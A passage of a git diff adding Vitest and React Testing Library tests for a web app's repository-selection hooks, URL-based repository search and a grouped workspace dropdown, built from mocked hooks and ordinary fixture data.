+ data: { pages: [] },
+ isLoading: false,
+ isError: false,
+ hasNextPage: false,
+ isFetchingNextPage: false,
+ fetchNextPage: vi.fn(),
+ onLoadMore: vi.fn(),
+ });
+
+ // Mock search repositories hook to return our mock data
+ mockUseSearchRepositories.mockReturnValue({
+ data: MOCK_SEARCH_REPOS,
+ isLoading: false,
+ });
+
+ renderForm();
+
+ await screen.findByTestId("git-repo-dropdown");
+
+ // The test should verify that typing a URL triggers the search behavior
+ // Since the component uses useSearchRepositories hook, just verify the hook is set up correctly
+ expect(mockUseSearchRepositories).toHaveBeenCalled();
+ });
+
+ it("should call onRepoSelection when a searched repository is selected", async () => {
+ const MOCK_SEARCH_REPOS: GitRepository[] = [
+ {
+ id: "3",
+ full_name: "kubernetes/kubernetes",
+ git_provider: "github",
+ is_public: true,
+ },
+ ];
+
+ mockUseGitRepositories.mockReturnValue({
+ data: { pages: [{ items: MOCK_SEARCH_REPOS }] },
+ isLoading: false,
+ isError: false,
+ hasNextPage: false,
+ isFetchingNextPage: false,
+ fetchNextPage: vi.fn(),
+ onLoadMore: vi.fn(),
+ });
+
+ // Mock search repositories hook to return our mock data
+ mockUseSearchRepositories.mockReturnValue({
+ data: MOCK_SEARCH_REPOS,
+ isLoading: false,
+ });
+
+ renderForm();
+
+ await screen.findByTestId("git-repo-dropdown");
+
+ // Verify that the onRepoSelection callback prop was provided
+ expect(mockOnRepoSelection).toBeDefined();
+
+ // Since testing complex dropdown interactions is challenging with the current mocking setup,
+ // we'll verify that the basic structure is in place and the callback is available
+ expect(typeof mockOnRepoSelection).toBe("function");
+ });
+
+ it("should auto-select the last selected provider when multiple providers are available", async () => {
+ // Mock multiple providers
+ mockUseUserProviders.mockReturnValue({
+ providers: ["github", "gitlab", "bitbucket"],
+ });
+
+ // Set up the store with gitlab as the last selected provider
+ renderForm({
+ lastSelectedProvider: "gitlab",
+ });
+
+ // The provider dropdown should be visible since there are multiple providers
+ expect(
+ await screen.findByTestId("git-provider-dropdown"),
+ ).toBeInTheDocument();
+
+ // Verify that the store has the correct last selected provider
+ expect(useHomeStore.getState().lastSelectedProvider).toBe("gitlab");
+ });
+
+ it("should not show provider dropdown when there's only one provider", async () => {
+ // Mock single provider
+ mockUseUserProviders.mockReturnValue({
+ providers: ["github"],
+ });
+
+ renderForm();
+
+ // The provider dropdown should not be visible since there's only one provider
+ expect(
+ screen.queryByTestId("git-provider-dropdown"),
+ ).not.toBeInTheDocument();
+ });
+
+});
diff --git a/__tests__/components/features/home/repository-data-selection.test.tsx b/__tests__/components/features/home/repository-data-selection.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..7d32b4c512b02f5a87eba5bc41caef30a5beea90
--- /dev/null
+++ b/__tests__/components/features/home/repository-data-selection.test.tsx
@@ -0,0 +1,504 @@
+import { renderHook } from "@testing-library/react";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { useRepositoryData } from "#/components/features/home/git-repo-dropdown/use-repository-data";
+import type { GitRepository } from "#/types/git";
+import type { Provider } from "#/types/settings";
+
+const useGitRepositoriesMock = vi.fn();
+const useSearchRepositoriesMock = vi.fn();
+
+vi.mock("#/hooks/query/use-git-repositories", () => ({
+ useGitRepositories: (options: unknown) => useGitRepositoriesMock(options),
+}));
+
+vi.mock("#/hooks/query/use-search-repositories", () => ({
+ useSearchRepositories: (...args: unknown[]) =>
+ useSearchRepositoriesMock(...args),
+}));
+
+type RepositoryDataProps = {
+ provider: Provider;
+ disabled: boolean;
+ processedSearchInput: string;
+ urlSearchResults: GitRepository[];
+ inputValue: string;
+ value?: string | null;
+ repositoryName?: string | null;
+};
+
+type RepositoryData = {
+ pages?: Array<{ items: GitRepository[] }>;
+};
+
+type GitRepositoryState = {
+ data: RepositoryData | undefined;
+ fetchNextPage: ReturnType;
+ hasNextPage: boolean;
+ isLoading: boolean;
+ isFetchingNextPage: boolean;
+ isError: boolean;
+};
+
+type SearchRepositoryState = {
+ data: GitRepository[] | undefined;
+ isLoading: boolean;
+};
+
+type HarnessOptions = {
+ props?: Partial;
+ git?: Partial;
+ search?: Partial;
+};
+
+const createRepository = (
+ id: string,
+ fullName = `owner/${id}`,
+): GitRepository => ({
+ id,
+ full_name: fullName,
+ git_provider: "github",
+ is_public: true,
+});
+
+const createRepositories = (count: number): GitRepository[] =>
+ Array.from({ length: count }, (_, index) =>
+ createRepository(`repo-${index + 1}`),
+ );
+
+const createProps = (
+ overrides: Partial = {},
+): RepositoryDataProps => ({
+ provider: "github",
+ disabled: false,
+ processedSearchInput: "",
+ urlSearchResults: [],
+ inputValue: "",
+ value: undefined,
+ repositoryName: undefined,
+ ...overrides,
+});
+
+const createGitState = (
+ overrides: Partial = {},
+): GitRepositoryState => ({
+ data: { pages: [{ items: createRepositories(2) }] },
+ fetchNextPage: vi.fn(),
+ hasNextPage: false,
+ isLoading: false,
+ isFetchingNextPage: false,
+ isError: false,
+ ...overrides,
+});
+
+const createSearchState = (
+ overrides: Partial = {},
+): SearchRepositoryState => ({
+ data: undefined,
+ isLoading: false,
+ ...overrides,
+});
+
+const renderRepositoryData = (options: HarnessOptions = {}) => {
+ const initialProps = createProps(options.props);
+ const fetchNextPage = options.git?.fetchNextPage ?? vi.fn();
+ const gitState = {
+ current: createGitState({
+ ...options.git,
+ fetchNextPage,
+ }),
+ };
+ const searchState = {
+ current: createSearchState(options.search),
+ };
+
+ useGitRepositoriesMock.mockImplementation(() => gitState.current);
+ useSearchRepositoriesMock.mockImplementation(() => searchState.current);
+
+ const rendered = renderHook(
+ (props: RepositoryDataProps) =>
+ useRepositoryData(
+ props.provider,
+ props.disabled,
+ props.processedSearchInput,
+ props.urlSearchResults,
+ props.inputValue,
+ props.value,
+ props.repositoryName,
+ ),
+ { initialProps },
+ );
+
+ return {
+ ...rendered,
+ initialProps,
+ fetchNextPage,
+ gitState,
+ searchState,
+ };
+};
+
+afterEach(() => {
+ vi.resetAllMocks();
+});
+
+describe("repository data selection", () => {
+ it("enables repository loading and skips only a search that repeats the selected name", () => {
+ const { initialProps, rerender } = renderRepositoryData({
+ props: {
+ disabled: true,
+ processedSearchInput: "owner/selected",
+ inputValue: "owner/selected",
+ repositoryName: "owner/selected",
+ },
+ });
+
+ expect(useGitRepositoriesMock).toHaveBeenLastCalledWith({
+ provider: "github",
+ enabled: false,
+ });
+ expect(useSearchRepositoriesMock).toHaveBeenLastCalledWith(
+ "owner/selected",
+ "github",
+ true,
+ );
+
+ rerender({
+ ...initialProps,
+ disabled: false,
+ repositoryName: "owner/different",
+ });
+
+ expect(useGitRepositoriesMock).toHaveBeenLastCalledWith({
+ provider: "github",
+ enabled: true,
+ });
+ expect(useSearchRepositoriesMock).toHaveBeenLastCalledWith(
+ "owner/selected",
+ "github",
+ false,
+ );
+ });
+
+ it("flattens paginated repositories and forwards repository query state", () => {
+ const first = createRepository("first");
+ const second = createRepository("second");
+ const third = createRepository("third");
+ const fetchNextPage = vi.fn();
+ const { result } = renderRepositoryData({
+ props: { processedSearchInput: "active-search" },
+ git: {
+ data: {
+ pages: [{ items: [first, second] }, { items: [third] }],
+ },
+ fetchNextPage,
+ hasNextPage: true,
+ isLoading: true,
+ isFetchingNextPage: true,
+ isError: true,
+ },
+ search: { isLoading: true },
+ });
+
+ expect(result.current).toMatchObject({
+ repositories: [first, second, third],
+ allRepositories: [first, second, third],
+ selectedRepository: null,
+ fetchNextPage,
+ hasNextPage: true,
+ isLoading: true,
+ isFetchingNextPage: true,
+ isError: true,
+ isSearchLoading: true,
+ });
+ });
+
+ it.each([
+ ["repository data is unavailable", undefined],
+ ["repository pages are unavailable", {}],
+ ])("returns an empty collection when %s", (_reason, data) => {
+ const { result } = renderRepositoryData({
+ props: { value: "missing" },
+ git: { data },
+ });
+
+ expect(result.current.allRepositories).toEqual([]);
+ expect(result.current.repositories).toEqual([]);
+ expect(result.current.selectedRepository).toBeNull();
+ });
+
+ it("treats an empty selected value as no repository", () => {
+ const repositoryWithEmptyId = createRepository("", "owner/empty-id");
+ const { result } = renderRepositoryData({
+ props: { value: "" },
+ git: { data: { pages: [{ items: [repositoryWithEmptyId] }] } },
+ });
+
+ expect(result.current.selectedRepository).toBeNull();
+ });
+
+ it.each([
+ {
+ source: "paginated repositories",
+ createOptions: () => {
+ const selected = createRepository("selected", "paged/selected");
+ return {
+ selected,
+ options: {
+ props: {
+ value: selected.id,
+ urlSearchResults: [createRepository(selected.id, "url/selected")],
+ },
+ git: { data: { pages: [{ items: [selected] }] } },
+ search: {
+ data: [createRepository(selected.id, "search/selected")],
+ },
+ } satisfies HarnessOptions,
+ };
+ },
+ },
+ {
+ source: "URL search results",
+ createOptions: () => {
+ const selected = createRepository("selected", "url/selected");
+ return {
+ selected,
+ options: {
+ props: { value: selected.id, urlSearchResults: [selected] },
+ git: { data: { pages: [{ items: [] }] } },
+ search: {
+ data: [createRepository("different", "search/different")],
+ },
+ } satisfies HarnessOptions,
+ };
+ },
+ },
+ {
+ source: "regular search results",
+ createOptions: () => {
+ const selected = createRepository("selected", "search/selected");
+ return {
+ selected,
+ options: {
+ props: { value: selected.id },
+ git: { data: { pages: [{ items: [] }] } },
+ search: { data: [selected] },
+ } satisfies HarnessOptions,
+ };
+ },
+ },
+ ])("resolves the selected repository from $source", ({ createOptions }) => {
+ const { selected, options } = createOptions();
+ const { result } = renderRepositoryData(options);
+
+ expect(result.current.selectedRepository).toBe(selected);
+ });
+
+ it("prioritizes URL search results for display", () => {
+ const paginated = createRepository("paginated");
+ const searched = createRepository("searched");
+ const fromUrl = createRepository("url");
+ const { result } = renderRepositoryData({
+ props: {
+ processedSearchInput: "search",
+ urlSearchResults: [fromUrl],
+ inputValue: "search",
+ },
+ git: { data: { pages: [{ items: [paginated] }] } },
+ search: { data: [searched] },
+ });
+
+ expect(result.current.repositories).toEqual([fromUrl]);
+ });
+
+ it("displays regular search results while the input differs from any selection", () => {
+ const paginated = createRepository("paginated");
+ const searched = createRepository("searched");
+ const { result } = renderRepositoryData({
+ props: {
+ processedSearchInput: "search",
+ inputValue: "search",
+ },
+ git: { data: { pages: [{ items: [paginated] }] } },
+ search: { data: [searched] },
+ });
+
+ expect(result.current.selectedRepository).toBeNull();
+ expect(result.current.repositories).toEqual([searched]);
+ });
+
+ it("displays an empty search result rather than stale paginated repositories", () => {
+ const { result } = renderRepositoryData({
+ props: {
+ processedSearchInput: "nothing-matches",
+ inputValue: "nothing-matches",
+ },
+ search: { data: [] },
+ });
+
+ expect(result.current.repositories).toEqual([]);
+ });
+
+ it("keeps paginated repositories visible when the search query is empty", () => {
+ const paginated = createRepository("paginated");
+ const searched = createRepository("searched");
+ const { result } = renderRepositoryData({
+ git: { data: { pages: [{ items: [paginated] }] } },
+ search: { data: [searched] },
+ });
+
+ expect(result.current.repositories).toEqual([paginated]);
+ });
+
+ it("keeps paginated repositories visible while search data is unavailable", () => {
+ const paginated = createRepository("paginated");
+ const { result } = renderRepositoryData({
+ props: {
+ processedSearchInput: "pending-search",
+ inputValue: "pending-search",
+ },
+ git: { data: { pages: [{ items: [paginated] }] } },
+ search: { data: undefined },
+ });
+
+ expect(result.current.repositories).toEqual([paginated]);
+ });
+
+ it("keeps paginated repositories visible when the input is the selected repository name", () => {
+ const selected = createRepository("selected", "owner/selected");
+ const searched = createRepository("searched");
+ const { result } = renderRepositoryData({
+ props: {
+ processedSearchInput: "owner/selected",
+ inputValue: selected.full_name,
+ value: selected.id,
+ },
+ git: { data: { pages: [{ items: [selected] }] } },
+ search: { data: [searched] },
+ });
+
+ expect(result.current.selectedRepository).toBe(selected);
+ expect(result.current.repositories).toEqual([selected]);
+ });
+
+ it("automatically loads another page when fewer than ten repositories are available", () => {
+ const { fetchNextPage } = renderRepositoryData({
+ git: {
+ data: { pages: [{ items: createRepositories(9) }] },
+ hasNextPage: true,
+ },
+ });
+
+ expect(fetchNextPage).toHaveBeenCalledTimes(1);
+ });
+
+ it.each([
+ {
+ reason: "the dropdown is disabled",
+ createOptions: (): HarnessOptions => ({ props: { disabled: true } }),
+ },
+ {
+ reason: "repositories are initially loading",
+ createOptions: (): HarnessOptions => ({ git: { isLoading: true } }),
+ },
+ {
+ reason: "the next page is already loading",
+ createOptions: (): HarnessOptions => ({
+ git: { isFetchingNextPage: true },
+ }),
+ },
+ {
+ reason: "search results are loading",
+ createOptions: (): HarnessOptions => ({
+ search: { isLoading: true },
+ }),
+ },
+ {
+ reason: "there is no next page",
+ createOptions: (): HarnessOptions => ({ git: { hasNextPage: false } }),
+ },
+ {
+ reason: "a text search is active",
+ createOptions: (): HarnessOptions => ({
+ props: {
+ processedSearchInput: "search",
+ inputValue: "search",
+ },
+ }),
+ },
+ {
+ reason: "URL search results are displayed",
+ createOptions: (): HarnessOptions => ({
+ props: { urlSearchResults: [createRepository("url-result")] },
+ }),
+ },
+ {
+ reason: "no repositories have loaded",
+ createOptions: (): HarnessOptions => ({
+ git: { data: { pages: [{ items: [] }] } },
+ }),
+ },
+ {
+ reason: "ten repositories already make the menu scrollable",
+ createOptions: (): HarnessOptions => ({
+ git: { data: { pages: [{ items: createRepositories(10) }] } },
+ }),
+ },
+ ])("does not auto-load when $reason", ({ createOptions }) => {
+ const options = createOptions();
+ const { fetchNextPage } = renderRepositoryData({
+ ...options,
+ git: {
+ data: { pages: [{ items: createRepositories(2) }] },
+ hasNextPage: true,
+ ...options.git,
+ },
+ });
+
+ expect(fetchNextPage).not.toHaveBeenCalled();
+ });
+
+ it("re-evaluates derived repositories when query results and inputs change", () => {
+ const initial = createRepository("initial");
+ const next = createRepository("next");
+ const fromUrl = createRepository("url");
+ const searched = createRepository("searched");
+ const { result, rerender, initialProps, gitState, searchState } =
+ renderRepositoryData({
+ props: { value: initial.id },
+ git: { data: { pages: [{ items: [initial] }] } },
+ });
+
+ expect(result.current.allRepositories).toEqual([initial]);
+ expect(result.current.selectedRepository).toBe(initial);
+ expect(result.current.repositories).toEqual([initial]);
+
+ gitState.current = createGitState({
+ data: { pages: [{ items: [next] }] },
+ });
+ searchState.current = createSearchState({ data: [searched] });
+ rerender({
+ ...initialProps,
+ processedSearchInput: "url",
+ urlSearchResults: [fromUrl],
+ inputValue: "url",
+ value: fromUrl.id,
+ });
+
+ expect(result.current.allRepositories).toEqual([next]);
+ expect(result.current.selectedRepository).toBe(fromUrl);
+ expect(result.current.repositories).toEqual([fromUrl]);
+ });
+
+ it("auto-loads when a rerender makes the repository list eligible", () => {
+ const { fetchNextPage, initialProps, rerender } = renderRepositoryData({
+ props: { disabled: true },
+ git: { hasNextPage: true },
+ });
+
+ expect(fetchNextPage).not.toHaveBeenCalled();
+
+ rerender({ ...initialProps, disabled: false });
+
+ expect(fetchNextPage).toHaveBeenCalledTimes(1);
+ });
+});
diff --git a/__tests__/components/features/home/use-url-search.test.tsx b/__tests__/components/features/home/use-url-search.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..17de80a730e60a3cc30d45ca27ffbdb5a12305c0
--- /dev/null
+++ b/__tests__/components/features/home/use-url-search.test.tsx
@@ -0,0 +1,281 @@
+import { renderHook, waitFor, act } from "@testing-library/react";
+import { describe, expect, vi, beforeEach, it, afterEach } from "vitest";
+import { useUrlSearch } from "#/components/features/home/git-repo-dropdown/use-url-search";
+import GitService from "#/api/git-service/git-service.api";
+
+vi.mock("#/api/git-service/git-service.api", () => ({
+ default: {
+ searchGitRepositories: vi.fn(),
+ },
+}));
+
+const mockSearchGitRepositories = vi.mocked(GitService.searchGitRepositories);
+
+describe("useUrlSearch", () => {
+ beforeEach(() => {
+ vi.clearAllMocks();
+ });
+
+ afterEach(() => {
+ vi.clearAllMocks();
+ });
+
+ describe("null/undefined provider guard", () => {
+ it("should not call GitService when provider is null", async () => {
+ const { result } = renderHook(() =>
+ useUrlSearch("https://github.com/owner/repo", null),
+ );
+
+ // Wait a tick for the effect to run
+ await act(async () => {
+ await new Promise((resolve) => {
+ setTimeout(resolve, 10);
+ });
+ });
+
+ expect(mockSearchGitRepositories).not.toHaveBeenCalled();
+ expect(result.current.urlSearchResults).toEqual([]);
+ expect(result.current.isUrlSearchLoading).toBe(false);
+ });
+
+ it("should not call GitService when provider is undefined", async () => {
+ const { result } = renderHook(() =>
+ useUrlSearch("https://github.com/owner/repo", undefined),
+ );
+
+ // Wait a tick for the effect to run
+ await act(async () => {
+ await new Promise((resolve) => {
+ setTimeout(resolve, 10);
+ });
+ });
+
+ expect(mockSearchGitRepositories).not.toHaveBeenCalled();
+ expect(result.current.urlSearchResults).toEqual([]);
+ expect(result.current.isUrlSearchLoading).toBe(false);
+ });
+
+ it("should clear results when provider becomes null", async () => {
+ mockSearchGitRepositories.mockResolvedValue({
+ items: [
+ { id: "1", full_name: "owner/repo", git_provider: "github", is_public: true },
+ ],
+ next_page_id: null,
+ });
+
+ type TestProps = { inputValue: string; provider: "github" | null };
+
+ const { result, rerender } = renderHook(
+ ({ inputValue, provider }: TestProps) => useUrlSearch(inputValue, provider),
+ {
+ initialProps: {
+ inputValue: "https://github.com/owner/repo",
+ provider: "github",
+ } as TestProps,
+ },
+ );
+
+ // Wait for initial search to complete
+ await waitFor(() => {
+ expect(result.current.urlSearchResults).toHaveLength(1);
+ });
+
+ // Change provider to null
+ rerender({
+ inputValue: "https://github.com/owner/repo",
+ provider: null,
+ });
+
+ // Results should be cleared
+ await waitFor(() => {
+ expect(result.current.urlSearchResults).toEqual([]);
+ });
+ });
+ });
+
+ describe("URL search behavior", () => {
+ it("should call GitService when input is a valid URL and provider is set", async () => {
+ mockSearchGitRepositories.mockResolvedValue({
+ items: [
+ { id: "1", full_name: "owner/repo", git_provider: "github", is_public: true },
+ ],
+ next_page_id: null,
+ });
+
+ const { result } = renderHook(() =>
+ useUrlSearch("https://github.com/owner/repo", "github"),
+ );
+
+ await waitFor(() => {
+ expect(mockSearchGitRepositories).toHaveBeenCalledWith(
+ "owner/repo",
+ "github",
+ 3,
+ );
+ });
+
+ await waitFor(() => {
+ expect(result.current.urlSearchResults).toHaveLength(1);
+ expect(result.current.urlSearchResults[0].full_name).toBe("owner/repo");
+ });
+ });
+
+ it("should not call GitService when input is not a URL", async () => {
+ const { result } = renderHook(() =>
+ useUrlSearch("some search query", "github"),
+ );
+
+ // Wait a tick for the effect to run
+ await act(async () => {
+ await new Promise((resolve) => {
+ setTimeout(resolve, 10);
+ });
+ });
+
+ expect(mockSearchGitRepositories).not.toHaveBeenCalled();
+ expect(result.current.urlSearchResults).toEqual([]);
+ });
+
+ it("should not call GitService when URL does not match repo pattern", async () => {
+ const { result } = renderHook(() =>
+ useUrlSearch("https://github.com/", "github"),
+ );
+
+ // Wait a tick for the effect to run
+ await act(async () => {
+ await new Promise((resolve) => {
+ setTimeout(resolve, 10);
+ });
+ });
+
+ expect(mockSearchGitRepositories).not.toHaveBeenCalled();
+ expect(result.current.urlSearchResults).toEqual([]);
+ });
+
+ it("should handle API errors gracefully", async () => {
+ mockSearchGitRepositories.mockRejectedValue(new Error("API Error"));
+
+ const { result } = renderHook(() =>
+ useUrlSearch("https://github.com/owner/repo", "github"),
+ );
+
+ await waitFor(() => {
+ expect(mockSearchGitRepositories).toHaveBeenCalled();
+ });
+
+ // Should return empty results on error
+ await waitFor(() => {
+ expect(result.current.urlSearchResults).toEqual([]);
+ expect(result.current.isUrlSearchLoading).toBe(false);
+ });
+ });
+
+ it("should set loading state correctly during search", async () => {
+ let resolveSearch: (value: unknown) => void;
+ const searchPromise = new Promise((resolve) => {
+ resolveSearch = resolve;
+ });
+
+ mockSearchGitRepositories.mockReturnValue(searchPromise as Promise<{
+ items: [];
+ next_page_id: null;
+ }>);
+
+ const { result } = renderHook(() =>
+ useUrlSearch("https://github.com/owner/repo", "github"),
+ );
+
+ // Should be loading
+ await waitFor(() => {
+ expect(result.current.isUrlSearchLoading).toBe(true);
+ });
+
+ // Resolve the search
+ await act(async () => {
+ resolveSearch!({ items: [], next_page_id: null });
+ });
+
+ // Should no longer be loading
+ await waitFor(() => {
+ expect(result.current.isUrlSearchLoading).toBe(false);
+ });
+ });
+ });
+
+ describe("clear results on non-URL input", () => {
+ it("should clear results when input changes from URL to non-URL", async () => {
+ mockSearchGitRepositories.mockResolvedValue({
+ items: [
+ { id: "1", full_name: "owner/repo", git_provider: "github", is_public: true },
+ ],
+ next_page_id: null,
+ });
+
+ const { result, rerender } = renderHook(
+ ({ inputValue, provider }) => useUrlSearch(inputValue, provider),
+ {
+ initialProps: {
+ inputValue: "https://github.com/owner/repo",
+ provider: "github" as const,
+ },
+ },
+ );
+
+ // Wait for initial search to complete
+ await waitFor(() => {
+ expect(result.current.urlSearchResults).toHaveLength(1);
+ });
+
+ // Change to non-URL input
+ rerender({
+ inputValue: "some search",
+ provider: "github" as const,
+ });
+
+ // Results should be cleared
+ await waitFor(() => {
+ expect(result.current.urlSearchResults).toEqual([]);
+ });
+ });
+ });
+ it("should clear prior results when an HTTPS URL does not match repo pattern", async () => {
+ mockSearchGitRepositories.mockResolvedValue({
+ items: [
+ {
+ id: "1",
+ full_name: "owner/repo",
+ git_provider: "github",
+ is_public: true,
+ },
+ ],
+ next_page_id: null,
+ });
+
+ const { result, rerender } = renderHook(
+ ({ inputValue, provider }) => useUrlSearch(inputValue, provider),
+ {
+ initialProps: {
+ inputValue: "https://github.com/owner/repo",
+ provider: "github" as const,
+ },
+ },
+ );
+
+ await waitFor(() => {
+ expect(result.current.urlSearchResults).toHaveLength(1);
+ });
+
+ rerender({
+ inputValue: "https://example.com/",
+ provider: "github" as const,
+ });
+
+ await waitFor(() => {
+ expect(result.current.urlSearchResults).toEqual([]);
+ });
+
+ // Only the initial search for owner/repo should have triggered a call;
+ // the non-matching HTTPS URL must not issue a second request.
+ expect(mockSearchGitRepositories).toHaveBeenCalledTimes(1);
+ });
+});
diff --git a/__tests__/components/features/home/workspace-dropdown.test.tsx b/__tests__/components/features/home/workspace-dropdown.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..9e2b0fb0c2e9603087820bea52149a093ec8f631
--- /dev/null
+++ b/__tests__/components/features/home/workspace-dropdown.test.tsx
@@ -0,0 +1,264 @@
+import type { ComponentProps } from "react";
+import { render, screen, within } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+
+import { WorkspaceDropdown } from "../../../../src/components/features/home/workspace-dropdown/workspace-dropdown";
+import type { LocalWorkspace, LocalWorkspaceParent } from "#/types/workspace";
+
+vi.mock("react-i18next", () => ({
+ useTranslation: () => ({ t: (key: string) => key }),
+}));
+
+// Two parents whose NAMES deliberately differ from their path basenames, so a
+// passing assertion proves the header uses the parent name (not basename-of-path).
+const PARENTS: LocalWorkspaceParent[] = [
+ { id: "p1", name: "Projects", path: "/projects" },
+ { id: "p2", name: "My Work", path: "/work" },
+];
+
+const GROUPED_WORKSPACES: LocalWorkspace[] = [
+ {
+ id: "/projects/alpha",
+ name: "alpha",
+ path: "/projects/alpha",
+ parentPath: "/projects",
+ },
+ { id: "/work/beta", name: "beta", path: "/work/beta", parentPath: "/work" },
+ {
+ id: "/projects/gamma",
+ name: "gamma",
+ path: "/projects/gamma",
+ parentPath: "/projects",
+ },
+];
+
+function renderDropdown(
+ props: Partial> = {},
+) {
+ const onChange = vi.fn();
+ render(
+ ,
+ );
+ return { onChange };
+}
+
+async function openMenu(user: ReturnType) {
+ const input = screen.getByTestId("workspace-dropdown");
+ await user.click(input);
+ return screen.findByTestId("workspace-dropdown-menu");
+}
+
+describe("WorkspaceDropdown grouping (#129)", () => {
+ it("renders a header with the parent's NAME (not the path basename) per group", async () => {
+ const user = userEvent.setup();
+ renderDropdown();
+ const menu = await openMenu(user);
+
+ const headers = within(menu).getAllByTestId("workspace-group-header");
+ const headerText = headers.map((h) => h.textContent);
+ expect(headerText).toContain("Projects"); // not "projects"
+ expect(headerText).toContain("My Work"); // not "work"
+ });
+
+ it("groups every folder under its parent and shows all folders", async () => {
+ const user = userEvent.setup();
+ renderDropdown();
+ const menu = await openMenu(user);
+
+ expect(within(menu).getByText("alpha")).toBeInTheDocument();
+ expect(within(menu).getByText("beta")).toBeInTheDocument();
+ expect(within(menu).getByText("gamma")).toBeInTheDocument();
+ // alpha and gamma (both /projects) render contiguously, before beta's group
+ // boundary is crossed — exactly one header per distinct parent.
+ expect(within(menu).getAllByTestId("workspace-group-header")).toHaveLength(
+ 2,
+ );
+ });
+
+ it("keyboard navigation skips headers: ArrowDown+Enter selects a real folder", async () => {
+ const user = userEvent.setup();
+ const { onChange } = renderDropdown();
+ await openMenu(user);
+
+ await user.keyboard("{ArrowDown}{Enter}");
+
+ // A header must never be selectable; the first highlight lands on a workspace.
+ expect(onChange).toHaveBeenCalledTimes(1);
+ const selected = onChange.mock.calls[0][0] as LocalWorkspace | null;
+ expect(selected).not.toBeNull();
+ expect(GROUPED_WORKSPACES.map((w) => w.id)).toContain(selected?.id);
+ });
+
+ it("does NOT render headers when there is only one group (flat fallback)", async () => {
+ const user = userEvent.setup();
+ renderDropdown({
+ workspaces: [
+ {
+ id: "/projects/alpha",
+ name: "alpha",
+ path: "/projects/alpha",
+ parentPath: "/projects",
+ },
+ {
+ id: "/projects/gamma",
+ name: "gamma",
+ path: "/projects/gamma",
+ parentPath: "/projects",
+ },
+ ],
+ });
+ const menu = await openMenu(user);
+
+ expect(within(menu).queryByTestId("workspace-group-header")).toBeNull();
+ expect(within(menu).getByText("alpha")).toBeInTheDocument();
+ expect(within(menu).getByText("gamma")).toBeInTheDocument();
+ });
+
+ it("groups static (no-parent) workspaces under their own header", async () => {
+ const user = userEvent.setup();
+ renderDropdown({
+ workspaces: [
+ {
+ id: "/projects/alpha",
+ name: "alpha",
+ path: "/projects/alpha",
+ parentPath: "/projects",
+ },
+ { id: "/standalone", name: "standalone", path: "/standalone" }, // no parentPath
+ ],
+ });
+ const menu = await openMenu(user);
+
+ const headers = within(menu).getAllByTestId("workspace-group-header");
+ // one header for the named parent, one for the static group
+ expect(headers).toHaveLength(2);
+ expect(within(menu).getByText("Projects")).toBeInTheDocument();
+ expect(within(menu).getByText("standalone")).toBeInTheDocument();
+ });
+
+ it("labels the static group with the HOME$WORKSPACE_GROUP_OTHER i18n key", async () => {
+ const user = userEvent.setup();
+ renderDropdown({
+ workspaces: [
+ {
+ id: "/projects/alpha",
+ name: "alpha",
+ path: "/projects/alpha",
+ parentPath: "/projects",
+ },
+ { id: "/standalone", name: "standalone", path: "/standalone" },
+ ],
+ });
+ const menu = await openMenu(user);
+
+ // `t` is mocked to echo the key, so this pins the i18n wiring.
+ expect(
+ within(menu).getByText("HOME$WORKSPACE_GROUP_OTHER"),
+ ).toBeInTheDocument();
+ });
+
+ it("renders the static 'Other' group last, even when a standalone appears first", async () => {
+ const user = userEvent.setup();
+ renderDropdown({
+ workspaces: [
+ { id: "/loose", name: "loose", path: "/loose" }, // standalone, appears FIRST
+ {
+ id: "/work/beta",
+ name: "beta",
+ path: "/work/beta",
+ parentPath: "/work",
+ },
+ ],
+ parents: [{ id: "p2", name: "My Work", path: "/work" }],
+ });
+ const menu = await openMenu(user);
+
+ const headerText = within(menu)
+ .getAllByTestId("workspace-group-header")
+ .map((h) => h.textContent);
+ expect(headerText).toEqual(["My Work", "HOME$WORKSPACE_GROUP_OTHER"]);
+ });
+
+ it("falls back to the path basename when a folder's parent is absent from `parents`", async () => {
+ const user = userEvent.setup();
+ renderDropdown({
+ workspaces: [
+ {
+ id: "/work/beta",
+ name: "beta",
+ path: "/work/beta",
+ parentPath: "/work",
+ },
+ {
+ id: "/unknown/x",
+ name: "x",
+ path: "/unknown/x",
+ parentPath: "/unknown",
+ },
+ ],
+ parents: [{ id: "p2", name: "My Work", path: "/work" }], // /unknown intentionally absent
+ });
+ const menu = await openMenu(user);
+
+ const headerText = within(menu)
+ .getAllByTestId("workspace-group-header")
+ .map((h) => h.textContent);
+ expect(headerText).toContain("My Work");
+ expect(headerText).toContain("unknown"); // basename of /unknown
+ });
+
+ it("folds the group label into each option's accessible name (a11y)", async () => {
+ const user = userEvent.setup();
+ renderDropdown();
+ const menu = await openMenu(user);
+
+ // The visual header is presentational; the group lives in each option's name.
+ expect(
+ within(menu).getByRole("option", { name: "Projects, alpha" }),
+ ).toBeInTheDocument();
+ expect(
+ within(menu).getByRole("option", { name: "My Work, beta" }),
+ ).toBeInTheDocument();
+ });
+
+ it("stays flat (no headers) for an all-standalone list with no parents", async () => {
+ const user = userEvent.setup();
+ renderDropdown({
+ parents: undefined, // exercises the single STATIC_GROUP_KEY group path
+ workspaces: [
+ { id: "/a", name: "a", path: "/a" },
+ { id: "/b", name: "b", path: "/b" },
+ ],
+ });
+ const menu = await openMenu(user);
+
+ expect(within(menu).queryByTestId("workspace-group-header")).toBeNull();
+ expect(within(menu).getByText("a")).toBeInTheDocument();
+ expect(within(menu).getByText("b")).toBeInTheDocument();
+ });
+
+ it("does not set an aria-label on options in flat (ungrouped) mode", async () => {
+ const user = userEvent.setup();
+ renderDropdown({
+ parents: undefined,
+ workspaces: [
+ { id: "/a", name: "a", path: "/a" },
+ { id: "/b", name: "b", path: "/b" },
+ ],
+ });
+ const menu = await openMenu(user);
+
+ // No grouping → the option's accessible name is just its display text.
+ const option = within(menu).getByRole("option", { name: "a" });
+ expect(option).not.toHaveAttribute("aria-label");
+ });
+});
diff --git a/__tests__/components/features/home/workspace-selection-form.test.tsx b/__tests__/components/features/home/workspace-selection-form.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..21b527417b3034539db781d688b49e87d6972b9c
--- /dev/null
+++ b/__tests__/components/features/home/workspace-selection-form.test.tsx
@@ -0,0 +1,654 @@
+import {
+ fireEvent,
+ render,
+ screen,
+ waitFor,
+ within,
+} from "@testing-library/react";
